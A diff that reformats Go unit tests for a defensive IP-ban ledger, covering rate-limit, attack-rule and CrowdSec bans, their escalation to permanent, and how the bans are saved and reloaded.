||||||
if banned {
|
if banned {
|
||||||
t.Error("another netblock is banned")
|
t.Error("another netblock is banned")
|
||||||
}
|
}
|
||||||
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Requests: 5},
|
|
||||||
)
|
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(
|
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Nanosecond),
|
|
||||||
)
|
|
||||||
if !banned || !reflect.DeepEqual(got, ban) {
|
if !banned || !reflect.DeepEqual(got, ban) {
|
||||||
t.Errorf(
|
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
||||||
"find during the ban gives %+v and %t, want %+v",
|
|
||||||
got,
|
|
||||||
banned,
|
|
||||||
ban,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
||||||
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
t.Error("the ban did not end")
|
t.Error("the ban did not end")
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
|
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
||||||
notes,
|
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
||||||
ban.Notes,
|
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"the notes are %+v, want them unchanged, %+v",
|
|
||||||
notes,
|
|
||||||
ban.Notes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
|||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||||
|
|
||||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||||
t.Errorf(
|
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
|
||||||
"a kept its ban of %s, want the later one",
|
|
||||||
ledger.Bans(a)[0].Start,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
|||||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||||
|
|
||||||
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||||
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
|
||||||
ban.Cause != bans.CauseAttack ||
|
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
|
||||||
ban.Notes.RuleID != "env-file" ||
|
|
||||||
ledger.Made(bans.CauseAttack) != 1 ||
|
|
||||||
ledger.Made(bans.CauseLimit) != 0 {
|
ledger.Made(bans.CauseLimit) != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
|
||||||
"the ban is %+v, with %d made for an attack and %d for a limit, "+
|
"want one for an attack, of seven days", ban,
|
||||||
"want one for an attack, of seven days",
|
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
|
||||||
ban,
|
|
||||||
ledger.Made(bans.CauseAttack),
|
|
||||||
ledger.Made(bans.CauseLimit),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// In observe mode the ban refuses nothing, and stays as it is, while
|
// In observe mode the ban refuses nothing, and stays as it is, while
|
||||||
// Find tells that the request would have made it permanent.
|
// Find tells that the request would have made it permanent.
|
||||||
got, _, wouldMakePermanent := ledger.Find(
|
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
|
||||||
netblock.Addr(),
|
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
|
||||||
midnight().Add(time.Hour),
|
t.Fatalf("a request found under the ban left it %+v, would have made it "+
|
||||||
)
|
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
|
||||||
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
|
|
||||||
!wouldMakePermanent {
|
|
||||||
t.Fatalf(
|
|
||||||
"a request found under the ban left it %+v, would have made it "+
|
|
||||||
"permanent %t, want it as it was, and true",
|
|
||||||
got,
|
|
||||||
wouldMakePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// A request it refuses makes it permanent, says so, and makes
|
// A request it refuses makes it permanent, says so, and makes
|
||||||
// bans.json due.
|
// bans.json due.
|
||||||
got, _, madePermanent := ledger.Check(
|
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
|
||||||
netblock.Addr(),
|
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
|
||||||
midnight().Add(time.Hour),
|
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
|
||||||
)
|
"want it made permanent", got, madePermanent)
|
||||||
if !madePermanent || !got.Permanent() ||
|
|
||||||
!ledger.Bans(netblock)[0].Permanent() {
|
|
||||||
t.Fatalf(
|
|
||||||
"after a request during the ban, it is %+v, made permanent %t, "+
|
|
||||||
"want it made permanent",
|
|
||||||
got,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// The next request finds it permanent already.
|
// The next request finds it permanent already.
|
||||||
_, banned, madePermanent := ledger.Check(
|
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(100*365*day),
|
|
||||||
)
|
|
||||||
if !banned || madePermanent {
|
if !banned || madePermanent {
|
||||||
t.Errorf(
|
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
|
||||||
"a later request is banned %t, and made the ban permanent %t, "+
|
"want banned by the permanent ban", banned, madePermanent)
|
||||||
"want banned by the permanent ban",
|
|
||||||
banned,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
|
|
||||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||||
// beside the one for a limit.
|
// beside the one for a limit.
|
||||||
third, _ := ledger.BanForAttack(
|
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
|
||||||
netblock,
|
|
||||||
second.Expires.Add(30*day),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !third.Permanent() ||
|
if !third.Permanent() ||
|
||||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||||
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
||||||
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBanForAttack(
|
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || !reflect.DeepEqual(during, first) {
|
||||||
t.Errorf(
|
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
||||||
"during the first ban, would ban %t with %+v, want false with %+v",
|
would, during, first)
|
||||||
would,
|
|
||||||
during,
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||||
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||||
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||||
bans.Notes{RuleID: "git-dir"})
|
bans.Notes{RuleID: "git-dir"})
|
||||||
limit, wouldLimit := ledger.WouldBanForLimit(
|
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
limitNotes,
|
|
||||||
)
|
|
||||||
|
|
||||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
||||||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
||||||
limit.Reason != "requests per minute over the limit of 1" {
|
limit.Reason != "requests per minute over the limit of 1" {
|
||||||
t.Errorf(
|
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
|
||||||
"would ban with %+v and %+v, want seven days for the attack and "+
|
"three hours for the limit", attack, limit)
|
||||||
"three hours for the limit",
|
|
||||||
attack,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(ledger.Bans(netblock)) != 1 ||
|
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
|
||||||
ledger.Made(bans.CauseLimit) != 1 ||
|
|
||||||
ledger.Made(bans.CauseAttack) != 0 {
|
ledger.Made(bans.CauseAttack) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
|
||||||
"the ledger holds %+v, want the first ban alone",
|
|
||||||
ledger.Bans(netblock),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|||||||
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
|
||||||
limit.Cause != bans.CauseLimit {
|
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
|||||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Request: request},
|
|
||||||
)
|
|
||||||
|
|
||||||
cut := long[:256]
|
cut := long[:256]
|
||||||
want := bans.Request{
|
want := bans.Request{
|
||||||
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
||||||
}
|
}
|
||||||
|
|
||||||
if ban.Notes.Request != want ||
|
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
|
||||||
ledger.Bans(netblock)[0].Notes.Request != want {
|
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
|
||||||
t.Errorf(
|
|
||||||
"the notes keep %+v, want each text cut to 256 bytes",
|
|
||||||
ban.Notes.Request,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
||||||
} {
|
} {
|
||||||
got := held[i].Notes
|
got := held[i].Notes
|
||||||
if got.ASN != want.ASN || got.ASName != want.ASName ||
|
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
|
||||||
got.Country != want.Country {
|
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
|
||||||
t.Errorf(
|
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
|
||||||
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
|
|
||||||
i+1,
|
|
||||||
got.ASN,
|
|
||||||
got.ASName,
|
|
||||||
got.Country,
|
|
||||||
want.ASN,
|
|
||||||
want.ASName,
|
|
||||||
want.Country,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
|
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
|
||||||
notes.Country != "" {
|
|
||||||
t.Errorf("the ban on %s has %q and %q, want neither",
|
t.Errorf("the ban on %s has %q and %q, want neither",
|
||||||
other, notes.ASN, notes.Country)
|
other, notes.ASN, notes.Country)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
|||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
|
||||||
// The ban that would be made is not made.
|
// The ban that would be made is not made.
|
||||||
would, wouldBan := ledger.WouldBanForCrowdSec(
|
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
||||||
netblock,
|
scenario, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
expires,
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
||||||
"would ban %t, and the ledger holds %+v, want true and nothing",
|
wouldBan, ledger.Bans(netblock))
|
||||||
wouldBan,
|
|
||||||
ledger.Bans(netblock),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const reason = "CrowdSec's decision for " + scenario
|
const reason = "CrowdSec's decision for " + scenario
|
||||||
|
|
||||||
ban, made := ledger.BanForCrowdSec(
|
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
||||||
netblock,
|
bans.Notes{})
|
||||||
midnight(),
|
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
||||||
expires,
|
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !made || !reflect.DeepEqual(ban, would) ||
|
|
||||||
ban.Cause != bans.CauseCrowdSec ||
|
|
||||||
!ban.Expires.Equal(expires) ||
|
|
||||||
ban.Reason != reason ||
|
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
t.Errorf(
|
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||||
"made %t the ban %+v, want the one that would be made, %+v, for "+
|
"crowdsec until %s", made, ban, would, expires)
|
||||||
"crowdsec until %s",
|
|
||||||
made,
|
|
||||||
ban,
|
|
||||||
would,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// A second decision on the netblock while the ban lasts makes no other.
|
// A second decision on the netblock while the ban lasts makes no other.
|
||||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||||
if made || !again.Expires.Equal(expires) ||
|
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
||||||
t.Errorf(
|
|
||||||
"made %t the ban %+v while the first lasts, want none",
|
|
||||||
made,
|
|
||||||
again,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
ledger.BanForCrowdSec(
|
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
expires,
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
// A request as the ban ends is refused, and leaves it as it is.
|
// A request as the ban ends is refused, and leaves it as it is.
|
||||||
last := expires.Add(-time.Nanosecond)
|
last := expires.Add(-time.Nanosecond)
|
||||||
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||||
t.Errorf(
|
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||||
"as the ban ends, banned %t with %+v, made permanent %t, want "+
|
"refused under the ban as it was", banned, held, madePermanent)
|
||||||
"refused under the ban as it was",
|
|
||||||
banned,
|
|
||||||
held,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||||
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
|||||||
// Three times the three days would be permanent; a limit broken as the
|
// Three times the three days would be permanent; a limit broken as the
|
||||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||||
// limit does.
|
// limit does.
|
||||||
crowdSec, _ := ledger.BanForCrowdSec(
|
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
||||||
netblock,
|
scenario, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
midnight().Add(3*day),
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||||
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
limit)
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// Two bans before the value is read leave one.
|
// Two bans before the value is read leave one.
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("203.0.113.10/32"),
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix("203.0.113.11/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
|||||||
|
|
||||||
got := make([]string, 0, len(snapshot))
|
got := make([]string, 0, len(snapshot))
|
||||||
for _, ban := range snapshot {
|
for _, ban := range snapshot {
|
||||||
got = append(
|
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
|
||||||
got,
|
|
||||||
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{
|
want := []string{
|
||||||
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
after := bans.New(defaultParams())
|
after := bans.New(defaultParams())
|
||||||
after.Load(before.Snapshot())
|
after.Load(before.Snapshot())
|
||||||
|
|
||||||
_, banned, _ := after.Check(
|
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Second),
|
|
||||||
)
|
|
||||||
if !banned {
|
if !banned {
|
||||||
t.Error("the loaded ban does not refuse")
|
t.Error("the loaded ban does not refuse")
|
||||||
}
|
}
|
||||||
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
||||||
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
|
||||||
again.Expires.Sub(again.Start),
|
|
||||||
again.Notes.EarlierBans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
|||||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{
|
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
|
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
||||||
Start: midnight(),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
|
|
||||||
Start: midnight(),
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
for client, want := range map[string]bool{
|
for client, want := range map[string]bool{
|
||||||
"203.0.113.0": true,
|
"203.0.113.0": true,
|
||||||
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
// As when an admin adds a permanent ban to bans.json with a start
|
// As when an admin adds a permanent ban to bans.json with a start
|
||||||
// before that of the netblock's ban that has ended.
|
// before that of the netblock's ban that has ended.
|
||||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||||
permanent := bans.Ban{
|
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
|
||||||
Netblock: netblock,
|
|
||||||
Start: midnight().Add(-time.Hour),
|
|
||||||
}
|
|
||||||
ended := bans.Ban{
|
ended := bans.Ban{
|
||||||
Netblock: netblock,
|
Netblock: netblock,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
|
|
||||||
ban, banned, _ := ledger.Find(client, now)
|
ban, banned, _ := ledger.Find(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
|
||||||
"find gives %+v and %t, want the permanent ban",
|
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, banned, _ = ledger.Check(client, now)
|
ban, banned, _ = ledger.Check(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
|
||||||
"the client is refused: %t, under %+v, want under the permanent ban",
|
banned, ban)
|
||||||
banned,
|
|
||||||
ban,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// A limit broken now makes no shorter ban over the permanent one.
|
// A limit broken now makes no shorter ban over the permanent one.
|
||||||
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||||
t.Errorf(
|
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
|
||||||
